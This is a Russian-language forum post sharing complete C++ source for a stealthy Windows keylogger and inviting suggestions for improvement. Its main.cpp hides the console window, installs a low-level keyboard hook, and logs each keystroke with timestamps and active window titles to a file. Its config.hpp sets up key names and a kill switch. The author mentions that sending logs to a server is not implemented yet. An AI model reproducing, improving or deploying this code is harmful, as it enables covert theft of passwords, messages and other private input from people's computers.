Всем привет! Недавно решил попробовать написать свой кейлоггер на C++. Пока что фичь никаких нет, по типу отправки логов на сервер, просто пишет логи в файл. В общем, полностью открыт для любой конструктивной критики, идей для улучшения 
Сурс ниже:
Сурс ниже:
C++:
// main.cpp
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
#include <set>
#include "config.hpp"
#define IS_CAPSLOCK GetKeyState(VK_CAPITAL) & 0x0001
#define IS_SHIFT (GetKeyState(VK_SHIFT) & 0x8000) || (GetKeyState(VK_LSHIFT) & 0x8000) || (GetKeyState(VK_RSHIFT) & 0x8000)
std::wofstream logFile;
std::set<int> pressedKeys;
HANDLE hStdout;
HHOOK hHook;
LRESULT WINAPI HookCallback(int nCode, WPARAM wParam, LPARAM lParam);
void LogKey(std::wofstream& file, int vkCode);
bool KillSwitchActivated();
int main()
{
#ifndef DEBUG
ShowWindow(FindWindowA("ConsoleWindowClass", nullptr), 0);
FreeConsole();
#endif
logFile.open(LOG_FILENAME, std::ios::app);
#ifdef DEBUG
hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hStdout, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::wcout << "[INFO] Logging into \"" << LOG_FILENAME << "\"\n";
#endif
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
if (!hHook) {
#ifdef DEBUG
SetConsoleTextAttribute(hStdout, FOREGROUND_RED | FOREGROUND_INTENSITY);
std::cout << "[ERROR] Failed to install keyboard hook!\n";
#else
return EXIT_FAILURE;
#endif
}
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
Sleep(1);
}
return EXIT_SUCCESS;
}
LRESULT WINAPI HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0) {
KBDLLHOOKSTRUCT* hookStruct = (KBDLLHOOKSTRUCT*)lParam;
if (wParam == WM_KEYDOWN) {
pressedKeys.insert(hookStruct->vkCode);
}
else if (wParam == WM_KEYUP) {
pressedKeys.erase(hookStruct->vkCode);
}
if (KillSwitchActivated()) {
#ifdef DEBUG
SetConsoleTextAttribute(hStdout, FOREGROUND_RED | FOREGROUND_GREEN);
std::cout << "Kill switch key pressed! Quitting...\n";
Sleep(750);
#endif
UnhookWindowsHookEx(hHook);
ExitProcess(0);
}
else {
LogKey(logFile, hookStruct->vkCode);
#ifdef DEBUG
std::cout << "[INFO] Logged key with code " << hookStruct->vkCode << "\n";
#endif
}
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
void LogKey(std::wofstream& file, int vkCode)
{
std::wstringstream output;
static wchar_t lastWindowTitle[256] = L"";
HWND hForeground = GetForegroundWindow();
// Retrieve the keyboard layout of an active window
DWORD threadId = GetWindowThreadProcessId(hForeground, NULL);
HKL layout = GetKeyboardLayout(threadId);
if (hForeground) {
// Get the window title
wchar_t windowTitle[256] = L"";
GetWindowText(hForeground, (LPWSTR)windowTitle, 256);
// Make sure it's not the same window, so we don't have to
// log the window title again
if (wcsncmp(windowTitle, lastWindowTitle, sizeof(windowTitle) / sizeof(windowTitle[0])) != 0) {
wcsncpy_s(lastWindowTitle, windowTitle, sizeof(lastWindowTitle) / sizeof(lastWindowTitle[0]));
wchar_t timeStr[64] = L"";
GetTimeFormatEx(LOCALE_NAME_USER_DEFAULT, 0, NULL, L"hh':'mm':'ss tt", timeStr, sizeof(timeStr) / sizeof(timeStr[0]));
output << "\n[" << timeStr << "] Window \"" << windowTitle << "\"\n";
}
}
if (KEY_NAMES.find(vkCode) != KEY_NAMES.end()) {
output << KEY_NAMES.at(vkCode);
}
else {
bool isUppercase = IS_CAPSLOCK; // check if capslock not activated
// Check shift keys
if (IS_SHIFT) {
isUppercase = !isUppercase;
}
wchar_t key = MapVirtualKeyEx(vkCode, MAPVK_VK_TO_CHAR, layout);
if (!isUppercase) {
key = tolower(key);
}
output << key;
}
file << output.str();
file.flush();
}
bool KillSwitchActivated()
{
for (int key : KILL_SWITCH) {
if (pressedKeys.find(key) == pressedKeys.end()) {
return false;
}
}
return true;
}
C++:
// config.hpp
#pragma once
#include <Windows.h>
#include <string>
#include <vector>
#include <map>
#define VK_CHAR_K 0x4b
constexpr std::wstring LOG_FILENAME = L"key.log";
const std::vector<int> KILL_SWITCH = { VK_LWIN, VK_LSHIFT, VK_CHAR_K };
const std::map<int, std::wstring> KEY_NAMES = {
{VK_BACK, L"[BACKSPACE]" },
{VK_RETURN, L"\n" },
{VK_SPACE, L"_" },
{VK_TAB, L"[TAB]" },
{VK_SHIFT, L"[SHIFT]" },
{VK_LSHIFT, L"[LSHIFT]" },
{VK_RSHIFT, L"[RSHIFT]" },
{VK_CONTROL, L"[CONTROL]" },
{VK_LCONTROL, L"[LCONTROL]" },
{VK_RCONTROL, L"[RCONTROL]" },
{VK_MENU, L"[ALT]" },
{VK_LWIN, L"[LWIN]" },
{VK_RWIN, L"[RWIN]" },
{VK_ESCAPE, L"[ESCAPE]" },
{VK_END, L"[END]" },
{VK_HOME, L"[HOME]" },
{VK_LEFT, L"[LEFT]" },
{VK_RIGHT, L"[RIGHT]" },
{VK_UP, L"[UP]" },
{VK_DOWN, L"[DOWN]" },
{VK_PRIOR, L"[PG_UP]" },
{VK_NEXT, L"[PG_DOWN]" },
{VK_OEM_PERIOD, L"." },
{VK_DECIMAL, L"." },
{VK_OEM_PLUS, L"+" },
{VK_OEM_MINUS, L"-" },
{VK_ADD, L"+" },
{VK_SUBTRACT, L"-" },
{VK_CAPITAL, L"[CAPSLOCK]" },
};